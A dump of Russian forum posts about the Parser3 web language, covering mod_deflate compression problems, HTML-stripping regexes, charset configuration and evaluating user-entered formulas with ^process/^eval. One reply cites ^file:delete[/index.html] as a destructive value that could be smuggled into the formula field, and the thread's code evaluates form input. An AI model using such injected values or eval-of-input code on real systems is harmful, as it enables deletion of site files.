Вроде логично и с точки зрения интерфейса будет человечно (humane).\
\
Есть ещё мысли по поводу того, как организовать «такой» процесс?"
"61639","Иногда, когда пишешь ответ на пост, и жмёшь [Отправить], само окно какбы сворачивается вверх, остаётся только полоса с логотипом и ничего не происходит.\
\
Приходится по нескольку раз закрывать окно, вставлять текст заново и жать кнопку.\
\
Только у меня такое? На работе и дома такое есть.\
\
XP + Opera 9.22"
"61640","Как можно создать папку средствами Парсер, на Apach'e, под Линуксом определенного имени?\
Например: мне нужно создать папку с именем хранящимя в переменной $dname\
Это возможно?"
"61641","создаёшь файл и родительские папки создаются автоматически."
"61642","А при копировании папки тоже создаются?\
Например мне надо создать папку с именем firma в которую мне надо положить файл logo.gif Это будет работать?"
"61644","А нет, не решена :-(.\
\
Сохранил все картинки в web-формате, проблема иногда вылезает вновь."
"61645","А еще можно заморочиться и через shell-команды фигачить =)"
"61646","Дело обстоит так: полем <input> мне передается строка содержащая HTML код, однако когда я пытаюсь отобразить html код, чтобы он сработал, все скобки и спец символы заменены чем то вроде &lt &quot и так далее...\
Что можно сделать в этой ситуации чтобы я получал из поля ЧИСТЫЙ не обработаный HTML код?\
P.s. если это поможет - после получения кода из формы я присваиваю его переменной, и только потом вывожу его."
"61648","На одном из проектов количество контента доросло до такого уровня, что исходящий траффик стал превышать допустимые пределы (в смысле начал стоить денег).. и пришла старая мысль прикрутить сжатие, тем более что весь контент представляет из себя текстовые документы, которые очень неплохо жмутся (в 3-5 раз)\
\
Вспомнив что разговор уже был, и что советовали  [url=\"http://www.parser.ru/forum/?id=56683\"]велосипед не изобретать[/url] решил прикрутить mod_deflate, благо сервер свой и апач 2.2 с уже встроенным deflate.\
\
Подключил модуль, но выяснилась вот какая штука.\
\
Делаю страницу, кладу в нее произвольный документ, смотрю логи:\
[code]\"GET /1234/ HTTP/1.1\" -/- (-%)[/code]\
попарившись энное время с поисками того, что я настроил неправильно, в конце концов отключил в каталоге с документом парсер и получил, то что хотел:\
[code]\"GET /1234/ HTTP/1.1\" 11374/43810 (25%)[/code]\
\
Вопрос - в чем дело? Это у меня что то с руками, или паресер нельзя использовать, если нужно сжатие контента?\
\
\
P.S. Делал на всякий случай ^response:clear[] - эффекта ноль."
"61650","Попробуйте прописать те же инструкции не в корневом .htaccess, а в cgi-bin, где лежит parser. И сообщите о результате."
"61651","Они не в .htaccess а в виртуальном хосте, т.е. действуют на все, а не на document-root:\
\
[code]<VirtualHost *>\
    ServerAdmin ..mail..\
    ServerName ..name..\
    ServerAlias ..name..\
    DocumentRoot ......../www/\
    ErrorLog ......../error_log\
    CustomLog ......../access_log combined\
    HostnameLookups Off\
    UseCanonicalName Off\
    ServerSignature Off\
    ScriptAlias /cgi-bin/ \"......../cgi-bin/\"\
\
[b]    AddOutputFilterByType DEFLATE text/html text/css text/xml\
    DeflateFilterNote ratio\
    DeflateFilterNote Input instream\
    DeflateFilterNote Output outstream\
    LogFormat '\"%r\" %{outstream}n/%{instream}n (%{ratio}n%%)' deflate\
    CustomLog ......../deflate_log deflate\
[/b]\
    <Directory \"......../cgi-bin/\">\
	AllowOverride None\
	Options +ExecCGI -Includes\
	Order allow,deny\
	Allow from all\
    </Directory>\
    <Directory \"......../www/\">\
	Options -Indexes FollowSymLinks\
	AllowOverride All\
	Order allow,deny\
	Allow from all\
   </Directory>\
</VirtualHost>\
[/code]\
\
Здесь ....... путь до $HOME проекта\
\
P.S. тут же, кстати, видно что перепопределения в .htaccess в cgi-bin - запрещены"
"61652","Moscow MySQL User Group при поддержке клуба «Бизнес в стиле .RU» проводит первую встречу. Ведущий — Константин Осипов, один из разработчиков MySQL AB.\
\
Из первых рук можно будет узнать о новых возможностях версии 5.1 и услышать ответы от разработчиков MySQL на все вопросы в неформальной дружеской обстановке :)\
\
[url=http://blog.styleru.net/webdev/mysql/]Встреча[/url] пройдёт 2 августа с 19-00 в Москве в здании Высшей школы экономики, по адресу ул. Мясницкая, д.20, ауд. 124. Чтобы попасть на встречу необходимо [url=http://blog.styleru.net/register/]зарегистрироваться[/url]."
"61654","подобное происходит в случае срабатывания антиспам защиты.\
\
сообщение нельзя писать больше кажется 1 часа. т.е. если вы открыли форму добавления сообщения, начали его писать, потом решили сходить на обед и после обеда дописали и нажали \"отправить\" -- именно это и произойдёт.\
\
в реалиях в xml-е выводится и сообщение об этом, которое я благополучно забыл вывести xsl шаблоном. \
\
способ обхода: жмем back, выделяем текст сообщения, Ctrl+C, закрываем окно, открываем его заново, Ctrl+V, post.\
\
по идее можно ещё и js таймер добавить в форму, который покажет сколько времени осталось на написание сообщения, который после expire задизейблит кнопки и напишет сообщение с причиной. сам пока очень занят, попробую прикрутить подобной позже.\
\
\
ещё вариант: у вас в броузере установлены такие политики кеширования, при которых броузер не запрашивает документ с формой от сервера, а берет закешированное (не взирая на антикеширующие заголовки). думаю должно лечится reload-ом формы перед постом.\
с нашей стороны можно сделать так, чтобы открытие формы происходило по адресу http://.../message.html?id=xxx&amp;^math:uid[]"
"61655","Если недо ответить просто ссылкой или «Да», то меньше минуты."
"61656","проблема может быть не в парсере, а в браузере, или файерволе.\
из доков к апачу:\
[quote]Note\
There is a environment variable force-gzip, set via SetEnv, which will ignore the accept-encoding setting of your browser and will send compressed output.[/quote]"
"61657","Во-первых с заголовками у меня все ОК. Accept-Encoding посылается очень даже \"gzip, deflate\"\
Во-вторых в IE и FF ситуация идентичная\
В-третьих файрвола нет, прокси нет, пробовалось из дома и с работы (две совершенно разные схемы подключения)...\
\
\
И потом - а разве отключение и включение парсера, как обработчика на стороне сервера хоть как то может влиять на мой браузер или файрвол? Врядли.. и тем не менее без парсера - жмет, после обработки парсером - нет.\
\
В логах это хорошо наблюдается... все файлы, кроме html и бинарных файлов жмутся (например css, js - на них парсер обработчиком не поставлен)\
\
Есть еще идеи?"
"61658","Надо переделать базу данных. Написал такой скриптик:\
\
   ^connect[$connect_string]{\
	   $news[^table::sql{select\
       id, firms\
   from\
      product \
   where\
      firms=4\
      }]\
	}\
\
      ^news.menu{\
        ^connect[$connect_string]{\
          ^voit:sql{\
             UPDATE product SET firms='stilarte' WHERE id = $news.id\
          }\
	    }\
         Поменяли id=${news.id}<br/>\
      }\
\
Проблемная строка: ^voit:sql...\
\
В документации не нашел других методов."
"61659","и сводится к вопросу \"как применить один модуль apache к выдаче другого модуля\". \
\
Если порыться в google на предмет рецептов от людей, заставивших apache жать выдачу mod_perl и mod_php, должны всплыть решения."
"61661","Спасибо. :)"
"61662","типо как тут http://www.parser.ru/forum/?id=42283"
"61665","вы случайно форму постите не нажатием не enter в поле subject?\
об этой проблеме знаю от ПАФ-а (болтается у меня в todo). так делать нельзя, надо обязательно жать кнопку мышью или нажимать Ctrl+Enter.\
\
я не знаю как корректно изменить это поведение броузера по умолчанию для всех броузеров (звиняйте, но отключать используемую спам защиту я не буду, спама ну очень много).\
\
могу написать буквы о том, что нажмать enter нельзя, но... ведь не будут это читать..."
"61666","Но иногда лень спит и я жму мышкой."
"61667","если в cgi-bin положить какой-нть простецкий скрипт perl.cgi, типа\
[code]#!/usr/bin/perl\
print \"Content-Type: text/html\\n\\n\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";[/code]\
\
И обратится к нему напрямую domain.ru/cgi-bin/perl.cgi - deflate работает, все ОК, ответ сервера:\
[code]\
HTTP/1.x 200 OK\
Date: Thu, 26 Jul 2007 15:41:24 GMT\
Server: Apache/2.2.0 (Linux/SUSE)\
[b]Vary: Accept-Encoding[/b]\
[b]Content-Encoding: gzip[/b]\
Content-Length: 42\
Keep-Alive: timeout=15, max=100\
Connection: Keep-Alive\
Content-Type: text/html[/code]\
\
Если обратится напрямую к [i]парсеру[/i] domain.ru/cgi-bin/parser3.cgi, получаю от него обычный ответ с версией парсера, но deflate уже не работает, и заголовок приходит другой:\
\
\
\
[code]HTTP/1.x 500 OK\
Date: Thu, 26 Jul 2007 15:44:37 GMT\
Server: Apache/2.2.0 (Linux/SUSE)\
Content-Length: 47\
Connection: close\
Content-Type: text/plain\
[/code]\
\
Такое ощущение что это очень похоже на баг ...\
\
Странно, кстати почему выдается 500 ошибка при этом - непонятно (в лог апача сваливается ошибка с версией парсера - задумка такая?)"
"61668","Content-Length vs. content-length - Парсер отдает этот заголовок полностью строчными, по стандарту нет никакой разницы прописными или строчными, но mod_gzip, например, [url=\"http://www.parser.ru/forum/?id=40320\"]спотыкается[/url].\
\
можно попробовать отдавать Content-Length самому, в response либо через $console:line[]..."
"61669","Нужно удалить в тексте все теги с атрибутами, но оставить <a>...</a> с содержимым. Подскажите пожалуйста как?"
"61670","Способ, описанный для Денвера почему-то не работет((("
"61671","[code]$sText[^sText.match[<.*?>|&.*?^;][g]{ }][/code]\
остальное додумайте сами"
"61673","Outpost Firewall нарушает чистоту эксперимента (он, гад, удаляет заголовки запроса Accept-Encoding), но сжатие работать, если включить его принудительно\
[quote]SetEnv force-gzip true[/quote]\
\
после такой строчки в конфиге сжатие уже работает:\
[quote]Vary: Accept-Encoding\
Content-Encoding: gzip\
Content-Length: 1801[/quote]"
"61674","http://spearance.tura.ru/parser3/regex/"
"61675","Его любимого)))"
"61676","нажимаете кнопку Windows и \"R\", вводите команду[code]cmd.exe /k hostname[/code] - получаете сетевое имя вашего компьютера.\
\
Открываете в редакторе файл httpd.conf, находите строки[code]<VirtualHost         127.0.0.1>  \
    ServerName                  localhost01[/code]и заменяете [i]127.0.0.1[/i] и [i]localhost01[/i] на сетевое имя своего компьютера. Сохраните файл. Запустите [code]apache.exe -t[/code], чтобы проверить, что вы не наделали ошибок - вы должны получить сообщение [i]httpd.conf: Syntax OK[/i].\
\
Если всё в порядке, перезапустите Apache из контрольной панели. Теперь попробуйте набрать в браузере на любом другом компьютере сети имя вашего компьютера - страницы должны открываться."
"61677","$response:Сontent-Length насколько я понимаю вообще бессмысленно  указывать - парсер его перезапишет позже реальным значением.\
\
а $console:line... - не подскажете конкретные строки кода, а то не вьезжаю как с этим классом в данном случае работать\
\
Если просто вот так:\
[code]\
$console:line[Content-Type:text/html]\
$console:line[Сontent-Length:0]\
$console:line[]\
$console:line[test test test test test test test][/code]\
\
\
то не катит - все равно не жмет"
"61678","У меня НЕТ ФАЙРВОЛА - ни оутпоста, ни какого либо другого!!!\
Сервер получает от меня заголовок Accept-Encoding\
\
Про глюк (точнее фичу) аутпоста я знаю, кстати это поведение (отрезание заголовка) - можно отключить, поправив ключик в реестре.\
\
А [i]force-gzip true[/i] вообще говоря - зло, потому что пользователи всех браузеров, не поддерживающих сжатие - не смогут вообще прочитать страницу и скорее всего будут еще проблемы с проксями"
"61679","[code]$sText[^sText.match[<[^^>]+>][g]{ }][/code]"
"61680","Задача сводится к такой:\
\
а. Найти все тэги начинающиеся на a , где после 'a' есть еще какая-нть буква\
б. Найти все тэги не начинающиеся на 'a'\
в. после найденных выше символов может быть либо пробел, после которого может быть теоретически все что угодно, кроме закрывающей тэговой скобки, которой тэг должен заканчиваться, либо ничего не быть, если тэг без параметров.\
Перед найденными конструкциями может быть '/' если тэг закрывающий\
г. Все найденное - удалить\
+++++++++++++++++++++++++++++++++++++++\
\
a. [code][a][a-z0-9!-]+[/code]\
б. [code][b-z0-9][a-z0-9!-]*[/code]\
в. [code]\\/?(?:(вариант a)|(вариант б))(\\s[^^>])?>[/code]\
\
обединяем:\
[code]$text[^text.match[(<\\/?(?:(?:[a][a-z0-9!-]+)|(?:[b-z0-9!-][\\w\\-]*))(?:\\s[^^>]*)?>)][gi]{ }][/code]\
\
Если тэги могут быть произвольными (XML) - то нужно поменять классы символов на нужные"
"61681","Прошу прощения что не про парсер вопрос, но с парсером вы мне здорово помогли, все работает. \
\
Можно ли передавать данные между фреймами, если в разные фреймы загружены документы с разных доменов? \
У меня если документы с одного домена все работает, а если с разных нет. И я не совсем понимаю в каком направлении рыть :-("
"61683","Проблема в том, что клиент часто просто копирует тест из word`а в форму (<IFRAME>...</IFRAME>) и появляется куча левых тегов. Вот и надо было их удалить."
"61684","что-то типо такого:\
[code]$body[test test test test test test test]\
$console:line[Content-Type:text/html]\
$console:line[Сontent-Length:^body.length[]]\
$console:line[]\
$console:line[$body][/code]\
это если без учета того мусора который Парсер в конце добавляет."
"61685","В таком варианте заголовок возвращается таким:\
\
[code]HTTP/1.x 200 OK\
Date: Fri, 27 Jul 2007 14:40:38 GMT\
Server: Apache/2.2.0 (Linux/SUSE)\
Keep-Alive: timeout=15, max=99\
Connection: Keep-Alive\
Transfer-Encoding: chunked\
Content-Type: text/html\
[/code]\
\
т.е. Content-Length вообще не определена, и это понятно почему.\
console:line отправляет данные сразу, но заранее неизвестно, может я еще чего пошлю через 5 секунд в этом же соединении, поэтому [b]Transfer-Encoding: chunked[/b], ну и не жмется - само собой. Ну это я так думаю, по крайней мере приведенный код - не заработал, ни с Content-Length:^body.length[] ни с учетом хвоста\
\
\
Вообще это все уже смахивает на шаманство с бубном, а проблема скорее всего в парсере и обьяснить ее суть могут только разработчики, но они увы, молчат :(\
\
P.S. а вообще интересно - у кого-нибудь вообще работает deflate-сжатие вместе с парсером?"
"61686","Т.ч. в понедельник попробую и сообщу результат)"
"61687","[code]HTTP/1.1 200 OK\
Date: Fri, 27 Jul 2007 15:21:57 GMT\
Server: Apache/2.0\
Content-Length: 34\
Keep-Alive: timeout=15, max=99\
Connection: Keep-Alive\
Content-Type: text/html\
\
test test test test test test test\
content-type: text/html\
content-length: 0[/code]\
да и зачем ему вообще отправлять чанками если он получил Content-Length? Хотя наверное от настроек зависит...\
\
а вообще ситуация со сжатием трафика и Парсером действительно плачевна - сам Парсер не умеет, внешними программами получается [url=\"http://www.parser.ru/forum/?id=56682\"]через задницу[/url], с mod_gzip [url=\"http://www.parser.ru/forum/?id=40320\"]какие-то проблемы[/url], и с mod_deflate теперь вот тоже непонятно что...\
\
[url=\"http://www.sysoev.ru/mod_deflate\"]нормальный mod_deflate[/url] на втором апаче скорее всего не пойдет, остается только [url=\"http://www.sysoev.ru/nginx/docs/http/ngx_http_proxy_module.html\"]прокси[/url] с поддержкой [url=\"http://www.sysoev.ru/nginx/docs/http/ngx_http_gzip_module.html\"]сжатия[/url], кстати в случае собственного сервера не самый плохой вариант."
"61688","И со вторым и с третьим парсером. Правда у меня они исключительно в виде cgi-скриптов работают."
"61689","mod_deflate который рулит и mod_deflate встроенный во второй апач это два разных продукта от разных авторов, то что первый работает я не сомневаюсь :)"
"61691","спасение утопающих, известно чьё дело."
"61692","веб-форматом часто называется что-то другое.\
\
самый простой способ не иметь проблем со склейкой разных .gif'чиков, это иметь их всех в одной палитре."
"61693","Алексей Бешенов на [url=http://beshenov.ru/]своем сайте[/url] выложил переводы стандартов W3C и DCMI:\
\
    * [url=http://beshenov.ru/xhtml-faq-ru.html]Ответы на часто задаваемые вопросы по XHTML и HTML.[/url]\
    * [url=http://beshenov.ru/xml-stylesheet-ru.html]Связывание таблиц стилей с документами XML. Версия 1.0.[/url]\
    * [url=http://beshenov.ru/mathml-faq-ru.html]Часто задаваемые вопросы по языку математической разметки (MathML).[/url]\
    * [url=http://beshenov.ru/wcag10-css-techs-ru.html]Руководство по созданию доступного веб-контента. Версия 1.0. Приёмы CSS.[/url]\
    * [url=http://beshenov.ru/dces-ru.html]Набор элементов метаданных Dublin Core, версия 1.1. Справочное описание.[/url]"
"61694","спасибо, Sumo!\
\
чтоб никто не узнал, побрил бороду и усы, снял очки и одел прозрачные контактные линзы."
"61695","если не угадал, уточните задачу?"
"61696","Всё что было написано в форуме прочитал. Написал в поддержку, ответ:\
[quote]у нас стандартные настройки. Сообщите, что требуется для нормальной работы Parser3.[/quote]\
Всё работает кроме передачи POST-данных.\
Подскажите, плиз, что нужно сделать в настройках или где подсмотреть..."
"61697","perl.cgi :\
[code]\
#!/usr/bin/perl\
print \"Content-Type: text/html\\n\";\
print \"[b]content-length[/b]: 100\\n\\n\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";[/code]\
\
Response :\
[code]HTTP/1.x 200 OK\
Date: Sat, 28 Jul 2007 10:40:04 GMT\
Server: Apache/2.2.0 (Linux/SUSE)\
Vary: Accept-Encoding\
Content-Encoding: gzip\
Content-Length: 42\
Connection: close\
Content-Type: text/html\
[/code]\
\
perl.cgi :\
[code]\
#!/usr/bin/perl\
print \"Content-Type: text/html\\n\";\
print \"[b]Content-Length[/b]: 100\\n\\n\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";\
print \"<h1>Hello World</h1>\";[/code]\
\
Response :\
[code]\
HTTP/1.x 200 OK\
Date: Sat, 28 Jul 2007 10:40:04 GMT\
Server: Apache/2.2.0 (Linux/SUSE)\
Vary: Accept-Encoding\
Content-Encoding: gzip\
Content-Length: 42\
Connection: close\
Content-Type: text/html\
[/code]\
\
\
Что дальше проверять?"
"61699",">> [i]спасение утопающих, известно чьё дело.[/i]\
\
Особенно приятно такое слышать из лодки проплывающей мимо :)"
"61700","мы его не пользуем.\
\
я поддерживал идею искать."
"61701","отвлечься от страницы 500, \
обратиться к .html странице, когда её обрабатывает parser, чтобы статус был 200, увидеть \"пока не работает\".\
выписать на бумажку все заголовки.\
\
с бумажки заголовки вписать в perl.cgi, \
переименовать perl.cgi в parser3.cgi,\
обратиться опять к той же самой странице,\
увидеть \"пока не работает\".\
\
затем изменять заголовки в perl коде пока не начнёт работать.\
\
так вы легко нащупаете, что именно не нравится mod_deflate."
"61702","это видели? вдруг поможет.\
мы сами в своих руках проблему никогда не видели."
"61703","Хотелось бы узнать мнение профессионалов по поводу подключения модулей. Наверняка, многие видели другие сайтодвижки (на PHP или ASP), так что вопрос:\
\
Как лучше сделать возможность подключения модулей на Парсере в сайтодвижке на нем же?\
\
ЗЫ. Модули - это, к примеру, форум, ГБ, блоги и т.п."
"61704","Здравствуйте, уважаемы посетители форума.\
\
Возникла проблема - Parser не хочет читать кодировку windows-1251 при обработке XML, хотя она присутствует (кодировка).\
\
страница: http://new.wbcorp.spb.ru/kosm.html\
Лог парсера: [code][Sun Jul 29 11:35:04 2007] [81653] /kosm.html: /home/u9872/wbcorpspbru/new/kosm.html(11:19): 'article.xml' /home/u9872/wbcorpspbru/new/article.xml:1: parser error : Unsupported encoding windows-1251|<?xml version=\"1.0\" encoding=\"windows-1251\" ?>|                                           ^| [xml][/code]\
\
Прошу помочь, если кто знает, в чем проблема, заранее благодарен.\
\
С уважением, Георгий.\
\
P.S. саппорт убил своим ответом [quote]Парсер по какой то причине не может найти кодировку windows-1251 хотя она присутсвует.\
Попробуйте поискать в интернете подобную проблему, возможно она так же у кого то имеет место быть.[/quote]\
... вот и ищу ...\
\
P.P.S. прошу простить, если подобная тема уже была на форуме - юзал поиск по всякому, не нашел."
"61706","данный топик не приблизил меня к решению проблемы, т.к. я вообще-то не программист и в многое мне не понятно, но:\
если вы имеете ввиду настройку файла auto.p, то там в самом начале указанно следующее:\
[code]@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
][/code]\
\
[i]конфигурационный файл+сопутствующие ему[/i] давно скачены и устаеновлены.\
\
На локальной машине все работает, переношу на хостинг - ...\
\
P.S. весь \"остальной\" Прасер работает прекрасно, не рабоает именно кодировка в XML\
P.P.S. хостинг - majordomo.ru"
"61707","Я так понял, нужно в апачах прописать, это первое.\
Второе, сделать новую сборку. Но честно говоря, я как-то не собирал Parser ни разу. Тем более, как я понял, в данном случае, это должен сделать админ! :(\
А где я могу прочитать про то, чем компилить и с чем едят CVS?\
Просто я даже не знаю, что сказать админу... :("
"61708","по приведенной мною ссылке описана ровно такая-же проблема что и у вас, причем объяснена природа самой проблемы (парсер не находит конфигурационный файл).\
Саппорт кстати все правильно объяснил, с точки зрения доступной ему компетенции в этом вопросе.\
\
Проверьте, на своем ли месте ли конфигурационный файл, выставлены ли ему правильные права доступа в файловой системе."
"61709","не факт что они сразу все перекомпилируют, но поменять очередность загрузки модулей им точно труда не составит."
"61710","Возможно я непонятно поставил вопрос изначально - все что надо скачено и установлено, но как вы уже поняли - не работает. Парсер не находит конфигурационный файл - где искать ошибку?\
\
Код файла auto.p (/cgi-bin/parser3/auto.p), который отвечает за все это (как я понял) я привел.\
\
Подскажите, где мне нужно искать ошибку?\
\
P.S. крик души, ибо бьюсь головой о стену уже 2-ой день ..."
"61711","Добавьте в конфигурационный файл какую-нть переменную:\
\
[code]$ISCONFIG_AVAILABLE[YES][/code]\
\
и проверьте, что она доступна, например в index.html сайта:\
\
[code]$ISCONFIG_AVAILABLE[/code]   --> YES\
\
А еще есть test.html - очень полезная штука для проверки все ли на месте у парсера: http://www.parser.ru/download/utils/\
скачайте, скопируйте на сервер и посмотрите."
"61712","Спасибо всем за помощь и советы - проблема решена. Причем проблема чайника ...\
\
причина оказалась до неприличия проста - саппорт хостинга, когда устанавливал мне Парсер (у меня на тот момент еще знаний было очень мало) положили parser3.cgi в одну дирикторию, а auto.p - в другую, поэтому он и не \"цеплялся\" ...\
\
Сейчас уже все работает, еще раз всем спасибо (Константину Томашевичу отдельно)"
"61713","А как насчет добавить парсеру свои методы сжатия?\
типа ^string.compress[] и ^file.compress[]?\
\
Вроде и библа для этого есть - zlib\
\
\
Или я как всегда несу неактуальный бред?"
"61716","После замены parser3.cgi на такой код:\
\
[code]#!/usr/bin/perl\
print \"Content-Type: text/html\\n\";\
print \"\\n\\n\";\
print \"<h1>Hello World</h1>\";[/code]\
\
Сжатие точно также не работает.\
Т.е. можно сделать вывод, что во втором апаче применять фильтры для контента на который повешен собственный обработчик - нельзя, по крайней мере никто не знает как этого добиться.\
\
Из всех моих поисков нашел только пару вопросов об этом, но ни одного толкового ответа.\
\
Думается, малая распространенность информации по этому поводу связана с тем, что свои обработчики пишут обычно на перле и пхп, где есть возможность самостоятельно реализовывать сжатие встроенными средствами. В перле есть Compress::Zlib в пхп тоже что то. \
\
Вопрос - как быть, если нужно сжатие?\
Встроенных средств нет.\
Возможности сделать так:\
[code]$gzipData[\
   ^file::exec[/../cgi-bin/compress;\
   $.stdin[$body]\
]]\
$response:content-encoding[gzip]\
$response:content-length[^gzipData.length[]]\
$response:body[$gzipData]\
\
[/code]тоже нет, потому что (почему то) парсер не может работать с бинарными данными (хотя в данном случае от него требуется только \"передать\" как есть результат скрипта)\
\
Остается только один вариант с записью внешним скриптом сжатых данных в файл, загрузка их парсером и отдача клиенту (после чего файл нужно грохнуть). Совсем некрасивый и нешустрый вариант.\
\
Есть еще способы?"
"61718","Подключаем класс, создаем объект класса, юзаем его свойства и методы. Разве можно как-то еще?"
"61720","Где можно скачать скрипты на Parser?"
"61722","http://www.parser.ru/examples/"
"61725","простая задача:\
вернуть True, если в строке есть что-нибудь, кроме цифр и таких подстрок:\
x1\
x2\
+\
-\
*\
/\
\
не работает:[code]\
^if(def $form:dataname && !^form:dataname.match[x1|x2|[0..9]|\\+|\\-|\\*|\\/]\
[/code]"
"61728","если я хочу проверить через [code]^try[/code], что в поле забита функция типа такой:\
[code]X1*X2+3*X1*X1*X2[/code]\
\
мысль проверки простая - подставить единицу вместо переменных Х1 и Х2 и попробовать сделать [code]^eval[/code]\
\
сначала заменил X1 и X2 на единицу:\
[code]$func[^form:dataname.match[x1|x2][ig]{1}][/code]\
\
теперь, как мне нажется, над [code]$func[/code] надо сделать [code]^untaint[/code] потом [code]^process[/code], а над этим всем [code]^eval[/code] внутри [code]^try[/code]\
\
должно ли сработать и в каком порядке? надо ли вообще делать [code]^process[/code], или просто должно работать [code]^eval[/code] на обесцвеченной строкой?\
\
куда двигаться дальше такого?\
[code]^try{\
	$func[^eval(^untaint{$func})]\
}{\
[/code]\
получаю одно и тоже:\
[quote]\
1*1+3*1*1*1 \
invalid number (double)[/quote]"
"61729","[code]^try{\
	$func(\
		^process{\
			^^eval(\
				^untaint{$func}\
			)\
		}\
	)\
}{[/code]"
"61730","[code]X1/(X1-X2)[/code]"
"61731","есть предложения?"
"61732","и ещё… слово «должен» не из самых лучших в этом контексте."
"61733","того, чтобы разобраться, почему не работает то, что в apache2, по его документации, работает?"
"61734","совсем бестолкова, и не отвечает на этот вопрос?"
"61735","откуда весёлый китайский голос спрашивал, «а ещё»?"
"61736","и ещё: вам ^file:delete[/index.html] в это поле ещё не написали?\
\
\
проверить корректность формулы?\
для этого её необязательно вычислять, вариант:\
[code]\
^try{\
        $neverEvaluatedOnlyCompiled{\
		$func(\
-тут как у вас-\
		)\
	}\
}\
[/code]\
\
но сами понимаете про delete ;)"
"61737","нужно набить в базу \"от балды\" строки с наборами значений x1, x2, z при условии, что z=f(x1,x2)\
функция f(x1,x2) вводится один раз вручную и запоминается в базе\
\
вручную набивать очень тяжело и много ошибок, хочу сделать, чтобы в поля формы для забивки цифр сразу предлагались варианты рандомных x1,x2 и соответствующих им z\
\
набивать руками тысячи групп цифр... лучше неделю помучаюсь сделаю движок...\
\
сделать регексп, проверяющий, что в строке нету ничего, кроме слов x1 x2 цифр и символов основных арифметических действий я так и не смог, из зала только предложили помочь отправить подумать в бан...\
\
тогда было бы трудно написать delete или x1/(x1-x1), так что попробую через кучу вложенных ^if"
"61738","http://beshenov.ru/rss2.html"
"61742","вместо x1 и x2 сделал x и y\
[code]$wrong[\
	^func.match[\
		[^^xy\\d\\+\\-\\*\\/]\
	][ixg']\
	]\
^if($wrong > 0 ){\
	<br />\
	недопустимый символ в формуле:\
	$wrong.match\
	<br />\
}{\
# заменяем X и Y на 1\
	$func[^func.match[x|y][ig]{1}]\
	^try{\
		$func(^process{^^eval(^untaint{$func})})\
		^oSql.void{\
			INSERT\
			INTO dataname (func)\
			VALUES ('$form:dataname')\
  		}\
	   Добавлен набор \"$form:dataname\"\
	}{\
		^if(\
			$exception.type eq number.format \
			|| $exception.type eq parser.runtime \
			|| $exception.type eq parser.compile\
		){\
			$exception.handled(true)\
			Ошибка в формуле,\
			<pre>$exception.comment</pre>\
			функция должна состоять из: 'x', 'y', цифр и знаков '+', '-', '*', '/'\
		}{\
			^if($exception.type eq number.zerodivision){\
				$exception.handled(true)\
				Деление на ноль!\
				<pre>$exception.comment</pre>\
				Есть попроще функции? лень лечить деление...\
			}{\
				^if($exception.type eq sql.execute){\
					$exception.handled(true)\
					Ошибка создания набора данных:\
					<pre>$exception.comment</pre>\
				}\
			}\
		}\
	}\
}[/code]"
"61743","того зачем вам это понадобилось.\
\
стоит наверно вынести обработку ошибок в отдельный метод, иначе логика вашего кода не читается совсем.\
\
типа так (не проверял):\
\
\
[code]\
@main[]\
$func[$form:func]\
^if(^func.match[[^^xy\\d+*\\/-]][]){\
	^funcException[$.type[invalid data]$.comment[$func]]\
}{\
	$func[^func.match[x|y][ig]{1}]\
	^try{\
	  $func(^process{^^eval($func)}) ^rem{ <--untaint здесь не нужен}\
	  ^oSql.void{INSERT	INTO dataname (func) VALUES ('$form:dataname')}\
	  Добавлен набор \"$form:dataname\"\
	}{\
	  ^funcException[$exception]		\
	  $exception.handled(true)\
	}\
}\
\
\
\
@funcException[e]\
^switch[$e.type]{\
	^case[number.format;parser.runtime;parser.compile]{\
		$result[Ошибка в формуле,\
			<pre>$e.comment</pre>\
			функция должна состоять из: 'x', 'y', цифр и знаков '+', '-', '*', '/'\
		]\
	}\
	^case[number.zerodivision]{\
		$result[Деление на ноль!\
			<pre>$e.comment</pre>\
			Есть попроще функции? лень лечить деление...\
		]\
	}\
	^case[sql.execute]{\
		$result[Ошибка создания набора данных:\
			<pre>$exception.comment</pre>\
		]\
	}\
	^case[invalid data]{\
		$result[<br />\
			недопустимый символ в формуле:\
			<pre>$e.comment</pre>\
			<br />\
		]\
	}\
}\
\
[/code]\
чего вы добиваетесь вычислением формулы в итоге? что заменив переменные на 1 - он таки продолжает давать какой то результат?\
ну а если человек ошибся и написал вместо x+y*15 - xy15 - формула все равно вычислится и даст результат 1115, но это вроде не то что вы хотите.\
\
трудно представить что в формуле ЯВНО будут писать x+y/0\
\
P.S. не забудьте в числах еще бывают точки и запятые (кто как пишет)"
"61744","чтобы вокруг Х и У могли быть только знаки действий или граница строки, а нецелые числа в формуле не допустимы по условиям задачи...\
почему не нужен untaint? по логике должен быть нужен - это же из формы берется строка, она грязная и подозрительная..."
"61745","Особенно это место:\
[quote]Само преобразование Parser выполняет позже, при выдаче результата обработки документа пользователю, перед выполнением SQL-запроса или отправкой письма. \
[/quote]\
\
А регулярное выражение вы почти написали, только словами.\
у вас есть набор литералов - x,y,числа и набор операций с ними.\
\
все что нужно проверить это чтобы слева от литерала было либо начало строки либо действие\
Литералы описываются так: (?:[xy]|\\d+)\
(или так, для предыдущего варианта с x1,x2 - (?:x?\\d+) )\
то что слева - так: (?:^^|[\\/*+-])\
зачит шаблон [b]соответствующий[/b] тому что вам надо - (?:^^|[\\/*+-])(?:[xy]|\\d+)\
\
а доку почитать по регулярным выражениям действительно стоит, заодно проверьте чего я тут написал, мог и ошибиться"
"61746","Ответ с RemoveHanler для определенного каталога читал.\
